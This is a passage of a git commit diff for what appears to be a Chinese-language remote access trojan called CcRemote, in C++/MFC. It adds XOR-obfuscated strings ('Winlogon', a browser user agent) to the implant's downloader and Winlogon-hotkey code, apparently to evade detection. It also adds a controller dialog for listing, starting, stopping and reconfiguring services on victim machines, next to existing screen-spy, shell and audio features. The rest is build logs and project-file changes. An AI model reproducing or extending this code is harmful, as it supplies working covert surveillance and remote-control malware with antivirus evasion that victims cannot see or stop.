memset(pWinlogon, 0, Winlogon[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pWinlogon;
|
||||||
|
|
||||||
// Fake a hotkey event to any windows we find there.... :(
|
// Fake a hotkey event to any windows we find there.... :(
|
||||||
// Winlogon uses hotkeys to trap Ctrl-Alt-Del...
|
// Winlogon uses hotkeys to trap Ctrl-Alt-Del...
|
||||||
@@ -306,7 +319,16 @@ bool http_get(LPCTSTR szURL, LPCTSTR szFileName)
|
|||||||
DWORD dwBytesWritten = 0;
|
DWORD dwBytesWritten = 0;
|
||||||
BOOL bIsFirstPacket = true;
|
BOOL bIsFirstPacket = true;
|
||||||
BOOL bRet = true;
|
BOOL bRet = true;
|
||||||
hInternet = InternetOpen("Mozilla/4.0 (compatible)", INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
|
|
||||||
|
//strcry
|
||||||
|
char Mozilla[] = { 0x18,0x86,0xa5,0xb3,0xa1,0xab,0xaa,0xa4,0xeb,0xf7,0xec,0xf1,0xe0,0x97,0xdd,0xd2,0xd1,0xcb,0xdb,0xcd,0xd1,0xd5,0xda,0xd0,0x9d }; //Mozilla/4.0 (compatible)
|
||||||
|
char* pMozilla = decodeStr(Mozilla); //<2F><><EFBFBD>ܺ<EFBFBD><DCBA><EFBFBD>
|
||||||
|
|
||||||
|
hInternet = InternetOpen(pMozilla, INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
|
||||||
|
|
||||||
|
memset(pMozilla, 0, pMozilla[STR_CRY_LENGTH]); //<2F><><EFBFBD><EFBFBD>0
|
||||||
|
delete pMozilla;
|
||||||
|
|
||||||
if (hInternet == NULL)
|
if (hInternet == NULL)
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
|
@@ -1,3 +1,3 @@
|
|||||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||||
TestLoadDll.cpp
|
TestLoadDll.cpp
|
||||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||||
|
@@ -1,2 +1,2 @@
|
|||||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
Debug|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
Debug|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||||
|
@@ -1,6 +1,6 @@
|
|||||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||||
TestLoadDll.cpp
|
TestLoadDll.cpp
|
||||||
正在生成代码
|
正在生成代码
|
||||||
All 10 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
All 171 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||||
已完成代码的生成
|
已完成代码的生成
|
||||||
TestLoadDll.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\TestLoadDll\..\bin\server\TestLoadDll.exe\TestLoadDll.exe
|
TestLoadDll.vcxproj -> F:\myapp\CcRemote\CcMainDll\TestLoadDll\..\..\bin\server\TestLoadDll.exe
|
||||||
|
@@ -1,2 +1,2 @@
|
|||||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||||
Release|Win32|G:\CcRemote\CcRemote\CcMainDll\|
|
Release|Win32|F:\myapp\CcRemote\CcMainDll\|
|
||||||
|
Binary file not shown.
223
CcRemote/CcRemote/CServerDlg.cpp
Normal file
223
CcRemote/CcRemote/CServerDlg.cpp
Normal file
@@ -0,0 +1,223 @@
|
|||||||
|
// CServerDlg.cpp: 实现文件
|
||||||
|
//
|
||||||
|
|
||||||
|
#include "pch.h"
|
||||||
|
#include "CcRemote.h"
|
||||||
|
#include "CServerDlg.h"
|
||||||
|
#include "afxdialogex.h"
|
||||||
|
#include "..\..\common\macros.h"
|
||||||
|
|
||||||
|
// CServerDlg 对话框
|
||||||
|
|
||||||
|
IMPLEMENT_DYNAMIC(CServerDlg, CDialog)
|
||||||
|
|
||||||
|
CServerDlg::CServerDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||||
|
: CDialog(IDD_SERVERDLG, pParent)
|
||||||
|
{
|
||||||
|
m_iocpServer = pIOCPServer;
|
||||||
|
m_pContext = pContext;
|
||||||
|
}
|
||||||
|
|
||||||
|
CServerDlg::~CServerDlg()
|
||||||
|
{
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServerDlg::DoDataExchange(CDataExchange* pDX)
|
||||||
|
{
|
||||||
|
CDialog::DoDataExchange(pDX);
|
||||||
|
DDX_Control(pDX, IDC_LIST, m_list);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BEGIN_MESSAGE_MAP(CServerDlg, CDialog)
|
||||||
|
ON_WM_SIZE()
|
||||||
|
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CServerDlg::OnNMRClickList)
|
||||||
|
ON_COMMAND(IDM_SERVER_REFUBISH, &CServerDlg::OnServerRefubish)
|
||||||
|
ON_COMMAND(IDM_SERVER_START, &CServerDlg::OnServerStart)
|
||||||
|
ON_COMMAND(IDM_SERVER_STOP, &CServerDlg::OnServerStop)
|
||||||
|
ON_COMMAND(IDM_SERVER_AUTO, &CServerDlg::OnServerAuto)
|
||||||
|
ON_COMMAND(IDM_SERVER_MANUAL, &CServerDlg::OnServerManual)
|
||||||
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
|
// CServerDlg 消息处理程序
|
||||||
|
|
||||||
|
|
||||||
|
BOOL CServerDlg::OnInitDialog()
|
||||||
|
{
|
||||||
|
CDialog::OnInitDialog();
|
||||||
|
|
||||||
|
// TODO: 在此添加额外的初始化
|
||||||
|
CString str;
|
||||||
|
sockaddr_in sockAddr;
|
||||||
|
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||||
|
int nSockAddrLen = sizeof(sockAddr);
|
||||||
|
BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||||
|
str.Format("\\\\%s - 服务管理", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");
|
||||||
|
SetWindowText(str);
|
||||||
|
|
||||||
|
//HWND hSerHeader = m_list.GetDlgItem(0)->GetSafeHwnd();
|
||||||
|
//m_serHead.SubclassWindow(hSerHeader);
|
||||||
|
//SortColumn(m_nSortedCol, m_bAscending);
|
||||||
|
// m_serHead.InitializeHeader(TRUE);
|
||||||
|
// m_serHead.EnableAutoSize(TRUE);
|
||||||
|
// m_serHead.ResizeColumnsToFit();
|
||||||
|
//初始化列表
|
||||||
|
m_list.SetExtendedStyle(/*LVS_EX_FLATSB |*/ LVS_EX_FULLROWSELECT);
|
||||||
|
m_list.InsertColumn(0, "真实名称", LVCFMT_LEFT, 150);
|
||||||
|
m_list.InsertColumn(1, "显示名称", LVCFMT_LEFT, 260);
|
||||||
|
m_list.InsertColumn(2, "启动类型", LVCFMT_LEFT, 80);
|
||||||
|
m_list.InsertColumn(3, "运行状态", LVCFMT_LEFT, 80);
|
||||||
|
m_list.InsertColumn(4, "可执行文件路径", LVCFMT_LEFT, 260);
|
||||||
|
//GetServiceList();
|
||||||
|
ShowServiceList();
|
||||||
|
return TRUE; // return TRUE unless you set the focus to a control
|
||||||
|
// 异常: OCX 属性页应返回 FALSE
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int CServerDlg::ShowServiceList(void)
|
||||||
|
{
|
||||||
|
char *lpBuffer = (char *)(m_pContext->m_DeCompressionBuffer.GetBuffer(1));
|
||||||
|
char *DisplayName;
|
||||||
|
char *ServiceName;
|
||||||
|
char *serRunway;
|
||||||
|
char *serauto;
|
||||||
|
char *serfile;
|
||||||
|
DWORD dwOffset = 0;
|
||||||
|
m_list.DeleteAllItems();
|
||||||
|
|
||||||
|
for (int i = 0; dwOffset < m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1; i++)
|
||||||
|
{
|
||||||
|
DisplayName = lpBuffer + dwOffset;
|
||||||
|
ServiceName = DisplayName + lstrlen(DisplayName) + 1;
|
||||||
|
serfile = ServiceName + lstrlen(ServiceName) + 1;
|
||||||
|
serRunway = serfile + lstrlen(serfile) + 1;
|
||||||
|
serauto = serRunway + lstrlen(serRunway) + 1;
|
||||||
|
|
||||||
|
m_list.InsertItem(i, ServiceName);
|
||||||
|
m_list.SetItemText(i, 1, DisplayName);
|
||||||
|
m_list.SetItemText(i, 2, serauto);
|
||||||
|
m_list.SetItemText(i, 3, serRunway);
|
||||||
|
m_list.SetItemText(i, 4, serfile);
|
||||||
|
|
||||||
|
dwOffset += lstrlen(DisplayName) + lstrlen(ServiceName) + lstrlen(serfile) + lstrlen(serRunway)
|
||||||
|
+ lstrlen(serauto) + 5;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::OnSize(UINT nType, int cx, int cy)
|
||||||
|
{
|
||||||
|
CDialog::OnSize(nType, cx, cy);
|
||||||
|
if (m_list.m_hWnd == NULL)
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
RECT rectClient;
|
||||||
|
RECT rectList;
|
||||||
|
GetClientRect(&rectClient);
|
||||||
|
rectList.left = 0;
|
||||||
|
rectList.top = 0;
|
||||||
|
rectList.right = rectClient.right;
|
||||||
|
rectList.bottom = rectClient.bottom;
|
||||||
|
m_list.MoveWindow(&rectList);
|
||||||
|
// TODO: 在此处添加消息处理程序代码
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
|
{
|
||||||
|
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||||
|
// TODO: 在此添加控件通知处理程序代码
|
||||||
|
CMenu popMenu;
|
||||||
|
VERIFY(popMenu.LoadMenu(IDR_MENU_SERVER));
|
||||||
|
CMenu *p = popMenu.GetSubMenu(0);
|
||||||
|
ASSERT(p != NULL);
|
||||||
|
CPoint point;
|
||||||
|
GetCursorPos(&point);
|
||||||
|
p->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, point.x, point.y, this);
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::OnServerRefubish()
|
||||||
|
{
|
||||||
|
// TODO: 在此添加命令处理程序代码
|
||||||
|
BYTE bToken = COMMAND_SERVICELIST;
|
||||||
|
m_iocpServer->Send(m_pContext, &bToken, 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::OnReceiveComplete(void)
|
||||||
|
{
|
||||||
|
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||||
|
{
|
||||||
|
case TOKEN_SERVERLIST:
|
||||||
|
ShowServiceList();
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
// 传输发生异常数据
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::ServiceConfig(BYTE bCmd)
|
||||||
|
{
|
||||||
|
CListCtrl *pListCtrl = NULL;
|
||||||
|
pListCtrl = &m_list;
|
||||||
|
// else
|
||||||
|
// return;
|
||||||
|
|
||||||
|
// TODO: Add your command handler code here
|
||||||
|
|
||||||
|
DWORD dwOffset = 2;
|
||||||
|
POSITION pos = pListCtrl->GetFirstSelectedItemPosition(); //iterator for the CListCtrl
|
||||||
|
|
||||||
|
// while(pos) //so long as we have a valid POSITION, we keep iterating
|
||||||
|
// {
|
||||||
|
int nItem = pListCtrl->GetNextSelectedItem(pos);
|
||||||
|
|
||||||
|
CString str1 = pListCtrl->GetItemText(nItem, 0);
|
||||||
|
char* sername = str1.GetBuffer(0);
|
||||||
|
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, 3 + lstrlen(sername));
|
||||||
|
lpBuffer[0] = COMMAND_SERVICECONFIG;
|
||||||
|
lpBuffer[1] = bCmd;
|
||||||
|
|
||||||
|
|
||||||
|
memcpy(lpBuffer + dwOffset, sername, lstrlen(sername) + 1);
|
||||||
|
// str.Format("%d", LocalSize(lpBuffer));
|
||||||
|
// AfxMessageBox(str);
|
||||||
|
m_iocpServer->Send(m_pContext, lpBuffer, LocalSize(lpBuffer));
|
||||||
|
LocalFree(lpBuffer);
|
||||||
|
}
|
||||||
|
|
||||||
|
void CServerDlg::OnServerStart()
|
||||||
|
{
|
||||||
|
// TODO: 在此添加命令处理程序代码
|
||||||
|
ServiceConfig(1);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::OnServerStop()
|
||||||
|
{
|
||||||
|
// TODO: 在此添加命令处理程序代码
|
||||||
|
ServiceConfig(2);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::OnServerAuto()
|
||||||
|
{
|
||||||
|
// TODO: 在此添加命令处理程序代码
|
||||||
|
ServiceConfig(3);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void CServerDlg::OnServerManual()
|
||||||
|
{
|
||||||
|
// TODO: 在此添加命令处理程序代码
|
||||||
|
ServiceConfig(4);
|
||||||
|
}
|
39
CcRemote/CcRemote/CServerDlg.h
Normal file
39
CcRemote/CcRemote/CServerDlg.h
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "include/IOCPServer.h"
|
||||||
|
// CServerDlg 对话框
|
||||||
|
|
||||||
|
class CServerDlg : public CDialog
|
||||||
|
{
|
||||||
|
DECLARE_DYNAMIC(CServerDlg)
|
||||||
|
|
||||||
|
public:
|
||||||
|
CServerDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||||||
|
virtual ~CServerDlg();
|
||||||
|
|
||||||
|
// 对话框数据
|
||||||
|
#ifdef AFX_DESIGN_TIME
|
||||||
|
enum { IDD = IDD_SERVERDLG };
|
||||||
|
#endif
|
||||||
|
|
||||||
|
protected:
|
||||||
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||||
|
|
||||||
|
DECLARE_MESSAGE_MAP()private:
|
||||||
|
CListCtrl m_list;
|
||||||
|
ClientContext* m_pContext;
|
||||||
|
CIOCPServer* m_iocpServer;
|
||||||
|
public:
|
||||||
|
virtual BOOL OnInitDialog();
|
||||||
|
protected:
|
||||||
|
int ShowServiceList(void);
|
||||||
|
public:
|
||||||
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
|
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
afx_msg void OnServerRefubish();
|
||||||
|
void OnReceiveComplete(void);
|
||||||
|
void ServiceConfig(BYTE bCmd);
|
||||||
|
afx_msg void OnServerStart();
|
||||||
|
afx_msg void OnServerStop();
|
||||||
|
afx_msg void OnServerAuto();
|
||||||
|
afx_msg void OnServerManual();
|
||||||
|
};
|
Binary file not shown.
@@ -208,6 +208,7 @@
|
|||||||
<ClInclude Include="CcRemote.h" />
|
<ClInclude Include="CcRemote.h" />
|
||||||
<ClInclude Include="CcRemoteDlg.h" />
|
<ClInclude Include="CcRemoteDlg.h" />
|
||||||
<ClInclude Include="CFileManagerDlg.h" />
|
<ClInclude Include="CFileManagerDlg.h" />
|
||||||
|
<ClInclude Include="CServerDlg.h" />
|
||||||
<ClInclude Include="FileTransferModeDlg.h" />
|
<ClInclude Include="FileTransferModeDlg.h" />
|
||||||
<ClInclude Include="CScreenSpyDlg.h" />
|
<ClInclude Include="CScreenSpyDlg.h" />
|
||||||
<ClInclude Include="CSettingDlg.h" />
|
<ClInclude Include="CSettingDlg.h" />
|
||||||
@@ -235,6 +236,7 @@
|
|||||||
<ClCompile Include="CcRemote.cpp" />
|
<ClCompile Include="CcRemote.cpp" />
|
||||||
<ClCompile Include="CcRemoteDlg.cpp" />
|
<ClCompile Include="CcRemoteDlg.cpp" />
|
||||||
<ClCompile Include="CFileManagerDlg.cpp" />
|
<ClCompile Include="CFileManagerDlg.cpp" />
|
||||||
|
<ClCompile Include="CServerDlg.cpp" />
|
||||||
<ClCompile Include="FileTransferModeDlg.cpp" />
|
<ClCompile Include="FileTransferModeDlg.cpp" />
|
||||||
<ClCompile Include="CScreenSpyDlg.cpp" />
|
<ClCompile Include="CScreenSpyDlg.cpp" />
|
||||||
<ClCompile Include="CSettingDlg.cpp" />
|
<ClCompile Include="CSettingDlg.cpp" />
|
||||||
|
@@ -93,6 +93,9 @@
|
|||||||
<ClInclude Include="..\..\common\Audio.h">
|
<ClInclude Include="..\..\common\Audio.h">
|
||||||
<Filter>头文件</Filter>
|
<Filter>头文件</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
|
<ClInclude Include="CServerDlg.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="CcRemote.cpp">
|
<ClCompile Include="CcRemote.cpp">
|
||||||
@@ -149,6 +152,9 @@
|
|||||||
<ClCompile Include="..\..\common\Audio.cpp">
|
<ClCompile Include="..\..\common\Audio.cpp">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="CServerDlg.cpp">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ResourceCompile Include="CcRemote.rc">
|
<ResourceCompile Include="CcRemote.rc">
|
||||||
|
@@ -86,7 +86,7 @@ BEGIN_MESSAGE_MAP(CCcRemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||||||
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
|
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
|
||||||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||||||
|
ON_MESSAGE(WM_OPENSERVERDIALOG, OnOpenServerDialog)
|
||||||
|
|
||||||
//-------------系统-------------
|
//-------------系统-------------
|
||||||
ON_WM_SYSCOMMAND()
|
ON_WM_SYSCOMMAND()
|
||||||
@@ -559,6 +559,8 @@ void CCcRemoteDlg::OnOnlineRegist()
|
|||||||
void CCcRemoteDlg::OnOnlineServer()
|
void CCcRemoteDlg::OnOnlineServer()
|
||||||
{
|
{
|
||||||
// TODO: 在此添加命令处理程序代码
|
// TODO: 在此添加命令处理程序代码
|
||||||
|
BYTE bToken = COMMAND_SERVICES; //赋值一个宏 然后发送到服务端,服务端COMMAND_SYSTEM
|
||||||
|
SendSelectCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -808,6 +810,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
|||||||
case SHELL_DLG:
|
case SHELL_DLG:
|
||||||
((CShellDlg *)dlg)->OnReceiveComplete();
|
((CShellDlg *)dlg)->OnReceiveComplete();
|
||||||
break;
|
break;
|
||||||
|
case SERVER_DLG:
|
||||||
|
((CServerDlg *)dlg)->OnReceiveComplete();
|
||||||
|
break;
|
||||||
default:
|
default:
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
@@ -871,6 +876,9 @@ void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
|||||||
case TOKEN_SHELL_START:
|
case TOKEN_SHELL_START:
|
||||||
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
|
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
|
||||||
break;
|
break;
|
||||||
|
case TOKEN_SERVERLIST:
|
||||||
|
g_pCcRemoteDlg->PostMessage(WM_OPENSERVERDIALOG, 0, (LPARAM)pContext);
|
||||||
|
break;
|
||||||
// 命令停止当前操作
|
// 命令停止当前操作
|
||||||
default:
|
default:
|
||||||
closesocket(pContext->m_Socket);
|
closesocket(pContext->m_Socket);
|
||||||
@@ -1081,6 +1089,21 @@ LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
//服务管理窗口
|
||||||
|
LRESULT CCcRemoteDlg::OnOpenServerDialog(WPARAM wParam, LPARAM lParam)
|
||||||
|
{
|
||||||
|
ClientContext *pContext = (ClientContext *)lParam;
|
||||||
|
CServerDlg *dlg = new CServerDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||||
|
|
||||||
|
// 设置父窗口为卓面
|
||||||
|
dlg->Create(IDD_SERVERDLG, GetDesktopWindow()); //创建对话框
|
||||||
|
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||||
|
|
||||||
|
pContext->m_Dialog[0] = SERVER_DLG; //这个值用做服务端再次发送数据时的标识
|
||||||
|
pContext->m_Dialog[1] = (int)dlg;
|
||||||
|
//先看一下这个对话框的界面再看这个对话框类的构造函数
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
//绘制背景图片
|
//绘制背景图片
|
||||||
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||||
|
@@ -10,6 +10,7 @@
|
|||||||
#include "CScreenSpyDlg.h"
|
#include "CScreenSpyDlg.h"
|
||||||
#include "CFileManagerDlg.h"
|
#include "CFileManagerDlg.h"
|
||||||
#include "CAudioDlg.h"
|
#include "CAudioDlg.h"
|
||||||
|
#include "CServerDlg.h"
|
||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
|
|
||||||
@@ -105,6 +106,7 @@ public:
|
|||||||
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
|
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
|
||||||
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
|
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
|
||||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
||||||
|
afx_msg LRESULT OnOpenServerDialog(WPARAM, LPARAM);
|
||||||
|
|
||||||
//-------------系统消息处理-------------
|
//-------------系统消息处理-------------
|
||||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
|
@@ -1,2 +1,36 @@
|
|||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||||
|
f:\myapp\ccremote\bin\ccremote.exe
|
||||||
|
f:\myapp\ccremote\bin\ccremote.ilk
|
||||||
|
f:\myapp\ccremote\bin\ccremote.pdb
|
||||||
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||||
|
f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||||
|
@@ -13,8 +13,8 @@ f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(171): warning C4996: 'inet_n
|
|||||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(314): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(337): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(833): warning C4018: “<=”: 有符号/无符号不匹配
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(838): warning C4018: “<=”: 有符号/无符号不匹配
|
||||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(915): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(923): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||||
